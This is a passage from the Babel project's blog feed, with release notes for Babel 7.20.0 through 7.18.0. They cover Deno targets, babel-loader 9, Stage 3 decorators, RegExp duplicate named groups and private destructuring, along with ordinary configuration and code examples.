class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can read more about this in the TypeScript 4.9 <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-9-beta/#hamilton" target="_blank" rel="noopener noreferrer">release post</a> 😉.</p>
<p>Babel can now parse and strip away those annotations when using <code>@babel/plugin-transform-typescript</code> or <code>@babel/preset-typescript</code>, allowing you to start using the new TypeScript version.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="deno-compilation-target-14944">Deno compilation target (<a href="https://github.com/babel/babel/pull/14944" target="_blank" rel="noopener noreferrer">#14944</a>)<a href="https://babeljs.io/blog/2022/10/27/7.20.0#deno-compilation-target-14944" class="hash-link" aria-label="Direct link to deno-compilation-target-14944" title="Direct link to deno-compilation-target-14944">​</a></h3>
<p>When compiling for Deno, you can configure <code>@babel/preset-env</code> to only compile the features not supported by your Deno version. While Deno usually ships new ECMAScript features as soon as possible, you might need to support older engine versions.</p>
<p>You can enable it using the <a href="https://babeljs.io/docs/en/options#targets" target="_blank" rel="noopener noreferrer"><code>targets</code></a> option:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JSON</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "targets": { "deno": "1.20" },</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "presets": ["@babel/preset-env"]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="babel-loader-900"><code>babel-loader</code> 9.0.0<a href="https://babeljs.io/blog/2022/10/27/7.20.0#babel-loader-900" class="hash-link" aria-label="Direct link to babel-loader-900" title="Direct link to babel-loader-900">​</a></h3>
<p>This new major version of <a href="https://github.com/babel/babel-loader/releases/tag/v9.0.0" target="_blank" rel="noopener noreferrer"><code>babel-loader</code></a> drops support for Webpack &lt; 5, for Babel &lt; 7.12 and for Node.js &lt; 14.15 LTS.</p>
<p>Loader options cannot be specified using the query parameters: instead of specifying options inline (for example, <code>loader: "babel-loader?presets=@babel/preset-env"</code>) you will have to use the <code>options</code> object:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token literal-property property">loader</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"babel-loader"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token literal-property property">options</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token literal-property property">presets</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can also use a dedicated <a href="https://babeljs.io/docs/en/config-files#project-wide-configuration" target="_blank" rel="noopener noreferrer">Babel configuration file</a>, such as <code>babel.config.json</code>.</p>
<p>If you are not using query parameters to specify Babel options, and if you are on a modern version of Webpack, Babel and Node.js, you should be able to update without changes to your Webpack or Babel configurations.</p>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.19.0 Released: Stage 3 decorators and more RegExp features!]]></title>
        <id>https://babeljs.io/blog/2022/09/05/7.19.0</id>
        <link href="https://babeljs.io/blog/2022/09/05/7.19.0"/>
        <updated>2022-09-05T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just published Babel 7.19.0!]]></summary>
        <content type="html"><![CDATA[<p>We just published Babel 7.19.0!</p>
<p>This release updates our implementation of the <a href="https://github.com/tc39/proposal-decorators" target="_blank" rel="noopener noreferrer">decorators proposal</a>, which reached Stage 3 in March. It also includes support for the new <a href="https://github.com/tc39/proposal-duplicate-named-capturing-groups" target="_blank" rel="noopener noreferrer">duplicate named capturing groups proposal</a> for regular expressions.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.19.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2022/09/05/7.19.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="new-default-values">New default values<a href="https://babeljs.io/blog/2022/09/05/7.19.0#new-default-values" class="hash-link" aria-label="Direct link to New default values" title="Direct link to New default values">​</a></h3>
<p>Given the stabilization of the <a href="https://github.com/tc39/proposal-decorators" target="_blank" rel="noopener noreferrer">decorators</a> and <a href="https://github.com/tc39/proposal-record-tuple" target="_blank" rel="noopener noreferrer">Record and Tuple</a> proposal, we set some default values for their <a href="https://babeljs.io/docs/en/babel-parser#plugins-options" target="_blank" rel="noopener noreferrer">parser plugin</a> options:</p>
<ul>
<li><code>decorators</code>/<code>@babel/plugin-proposal-decorators</code>'s <code>decoratorsBeforeExport</code> now defaults to <code>false</code>;</li>
<li><code>recordAndTuple</code>/<code>@babel/plugin-proposal-record-and-tuple</code>'s <code>syntaxType</code> option now defaults to <code>hash</code>.</li>
</ul>
<p>These options will be removed in Babel 8.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="stage-3-decorators-14836">Stage 3 decorators (<a href="https://github.com/babel/babel/pull/14836" target="_blank" rel="noopener noreferrer">#14836</a>)<a href="https://babeljs.io/blog/2022/09/05/7.19.0#stage-3-decorators-14836" class="hash-link" aria-label="Direct link to stage-3-decorators-14836" title="Direct link to stage-3-decorators-14836">​</a></h3>
<p>The decorators proposal was promoted to Stage 3 with some minor but observable changes. You can enable the new version using the <code>"version": "2022-03"</code> option of <code>@babel/plugin-proposal-decorators</code>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/plugin-proposal-decorators", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        "version": "2022-03"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>If you are migrating from the <code>2021-12</code> version, the following breaking changes might affect you:</p>
<ul>
<li>the <code>initialize</code> method of the object returned by accessor decorators has been renamed to <code>init</code>;</li>
<li>the <code>isPrivate</code> and <code>isStatic</code> properties of the <code>context</code> parameter received by the decorators (the second one) have been renamed to <code>private</code> and <code>static</code>;</li>
<li>the <code>context</code> parameter now always has an <code>access</code> property, regardless of the decorated element type;</li>
<li>support for metadata (<code>getMetadata</code>/<code>setMetadata</code>) has been removed and <a href="https://github.com/tc39/proposal-decorator-metadata" target="_blank" rel="noopener noreferrer">postponed to a future proposal</a>;</li>
<li><code>@(expression)()</code>-style decorators are disallowed, and you must use <code>@(expression())</code>;</li>
<li>decorators are applied in the following order, instead of in a single pass:<!-- -->
<ol>
<li>static method decorators</li>
<li>proto method decorators</li>
<li>static field decorators</li>
<li>instance field decorators</li>
<li>class decorators.</li>
</ol>
</li>
</ul>
<p>If you are migrating from an older version of the proposal, we suggest reading <a href="https://github.com/tc39/proposal-decorators" target="_blank" rel="noopener noreferrer">the full README</a>. 😉</p>
<blockquote>
<p>💡 TypeScript <a href="https://github.com/microsoft/TypeScript/issues/48885" target="_blank" rel="noopener noreferrer">plans to implement</a> this version of the proposal. After almost a decade, it will be possible to write decorators without worrying if they will be compiled by Babel or tsc!</p>
</blockquote>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="regexp-duplicate-named-capturing-groups-14805">RegExp duplicate named capturing groups (<a href="https://github.com/babel/babel/pull/14805" target="_blank" rel="noopener noreferrer">#14805</a>)<a href="https://babeljs.io/blog/2022/09/05/7.19.0#regexp-duplicate-named-capturing-groups-14805" class="hash-link" aria-label="Direct link to regexp-duplicate-named-capturing-groups-14805" title="Direct link to regexp-duplicate-named-capturing-groups-14805">​</a></h3>
<p>Babel now supports the <a href="https://github.com/tc39/proposal-duplicate-named-capturing-groups/" target="_blank" rel="noopener noreferrer">RegExp duplicate named capturing groups</a> proposal, which allows re-using the same group name in alternative RegExp branches:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> dateRE </span><span class="token operator">=</span><span class="token plain"> </span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">year</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex" style="color:#3e999f">-</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">month</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex alternation keyword" style="color:#8959a8">|</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">month</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex" style="color:#3e999f">-</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">year</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"2022-12"</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">match</span><span class="token punctuation">(</span><span class="token plain">dateRE</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token property-access">groups</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// { year: "2022", month: "12" }</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"12-2022"</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">match</span><span class="token punctuation">(</span><span class="token plain">dateRE</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token property-access">groups</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// { year: "2022", month: "12" }</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can enable this proposal using the <code>@babel/plugin-proposal-duplicate-named-capturing-groups-regex</code> plugin:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": ["@babel/proposal-duplicate-named-capturing-groups-regex"]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Babel relies on different third-party packages to transform regular expressions: this is possible thanks to the maintainers of <a href="https://github.com/jviereck/regjsparser/" target="_blank" rel="noopener noreferrer">regjsparser</a>, <a href="http://github.com/benjamn/regjsgen" target="_blank" rel="noopener noreferrer">regjsgen</a> and <a href="https://github.com/mathiasbynens/regexpu-core/" target="_blank" rel="noopener noreferrer">regexpu-core</a> who took time to review our pull requests!</p>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.18.0 Released: Destructuring private elements and TypeScript 4.7]]></title>
        <id>https://babeljs.io/blog/2022/05/19/7.18.0</id>
        <link href="https://babeljs.io/blog/2022/05/19/7.18.0"/>
        <updated>2022-05-19T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just published Babel 7.18.0!]]></summary>
        <content type="html"><![CDATA[<p>We just published Babel 7.18.0!</p>
<p>This release includes support for the <a href="https://github.com/tc39/proposal-destructuring-private" target="_blank" rel="noopener noreferrer">private destructuring</a> proposal and for TypeScript 4.7.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.18.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2022/05/19/7.18.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="private-destructuring-14304">Private destructuring (<a href="https://github.com/babel/babel/pull/14304" target="_blank" rel="noopener noreferrer">#14304</a>)<a href="https://babeljs.io/blog/2022/05/19/7.18.0#private-destructuring-14304" class="hash-link" aria-label="Direct link to private-destructuring-14304" title="Direct link to private-destructuring-14304">​</a></h3>
<p>Babel supports transforming the <a href="https://github.com/tc39/proposal-destructuring-private" target="_blank" rel="noopener noreferrer">private destructuring</a> proposal. Now you can use private fields or methods in destructuring patterns:</p>
<table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Foo</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  y </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">equals</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">obj</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> #x</span><span class="token operator">:</span><span class="token plain"> x</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token literal-property property">y</span><span class="token operator">:</span><span class="token plain"> y </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      x </span><span class="token operator">===</span><span class="token plain"> obj</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> y </span><span class="token operator">===</span><span class="token plain"> obj</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Foo</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  y </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">equals</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">obj</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">{</span><span class="token plain"> y </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      x </span><span class="token operator">===</span><span class="token plain"> obj</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> y </span><span class="token operator">===</span><span class="token plain"> obj</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td></tr></tbody></table>
<p>You can enable it by adding the <code>@babel/plugin-proposal-destructuring-private</code> plugin to your configuration.</p>
<p>To minimize the transpiling footprint, the code generated by this plugin will still expect non-private destructuring and private elements support. If you need to compile them further, you can enable the relevant plugins (or you can use <code>@babel/preset-env</code>).</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-47-support-14359-14457-14476">TypeScript 4.7 support (<a href="https://github.com/babel/babel/pull/14359" target="_blank" rel="noopener noreferrer">#14359</a>, <a href="https://github.com/babel/babel/pull/14457" target="_blank" rel="noopener noreferrer">#14457</a>, <a href="https://github.com/babel/babel/pull/14476" target="_blank" rel="noopener noreferrer">#14476</a>)<a href="https://babeljs.io/blog/2022/05/19/7.18.0#typescript-47-support-14359-14457-14476" class="hash-link" aria-label="Direct link to typescript-47-support-14359-14457-14476" title="Direct link to typescript-47-support-14359-14457-14476">​</a></h3>
<p>TypeScript 4.7 supports different new syntactic features:</p>
<ul>
<li>
<p>instantiation expressions, which allow specifying type arguments of functions without invoking them:</p>
